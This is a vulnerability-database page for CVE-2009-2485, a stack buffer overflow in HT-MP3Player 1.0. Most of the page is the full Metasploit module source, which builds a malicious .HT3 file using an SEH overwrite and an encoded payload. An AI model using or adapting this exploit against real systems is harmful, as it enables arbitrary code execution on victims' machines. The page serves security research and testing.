Lucene search
K

HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow

🗓️ 14 Nov 2009 02:37:18Reported by hack4love <[email protected]>, His0k4, jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 17 Views

HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow. Stack buffer overflow in HT-MP3Player 1.0. Arbitrary code execution via specially crafted .HT3 file. Player installation does not handle file type registration

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2009-2485
29 Jun 200900:00
circl
Check Point Advisories
HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow (CVE-2009-2485)
27 Mar 201700:00
checkpoint_advisories
CVE
CVE-2009-2485
16 Jul 200916:00
cve
Cvelist
CVE-2009-2485
16 Jul 200916:00
cvelist
Exploit DB
HT-MP3Player 1.0 - &#039;.HT3&#039; File Parsing Buffer Overflow (Metasploit)
30 Apr 201000:00
exploitdb
NVD
CVE-2009-2485
16 Jul 200916:30
nvd
Packet Storm
HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow
31 Dec 200900:00
packetstorm
Prion
Stack overflow
16 Jul 200916:30
prion
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in HT-MP3Player 1.0.
          Arbitrary code execution could occur when parsing a specially crafted
          .HT3 file.

          NOTE: The player installation does not register the file type to be
          handled. Therefore, a user must take extra steps to load this file.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'hack4love <hack4love[at]hotmail.com>',
          'His0k4',
          'jduck',
        ],
      'References'     =>
        [
          [ 'CVE', '2009-2485' ],
          [ 'OSVDB', '55449' ],
          [ 'EDB', '9034' ],
          [ 'EDB', '9038' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 4108,
          'DisableNops'   	=>  'True',
          # input restriction: UTF-8!
          'BadChars' 			=> [0,0x0a,0x0d,*(0x80..0xcf)].pack("C*"),
          'EncoderType' 		=> Msf::Encoder::Type::AlphanumMixed,
          'StackAdjustment' => -8500,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'HT-MP3Player 1.0',
            {
              'Ret' => 0x00406cff, # pop/pop/ret @ HTMP3Player.exe
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2009-06-29',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.ht3']),
      ])
  end

  def exploit

    # payload first
    bof = payload.encoded

    # filler
    bof << rand_text_alphanumeric(payload_space - bof.length)

    # NOTE: the nul smashes a nul, oh no!
    sehrec = generate_seh_record(target.ret)
    # jmp -4108 (depends on target addr ending with 0xff)
    sehrec[0,4] = "\xe9\xef\xef\xff"
    bof << sehrec

    # crash reading from offset 4096 (put bad addr here)
    bof[4096,4] = [0xf0f0f0f0].pack('V')

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(bof)

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
0.2Low risk
Vulners AI Score0.2
CVSS 29.3
EPSS0.80024
17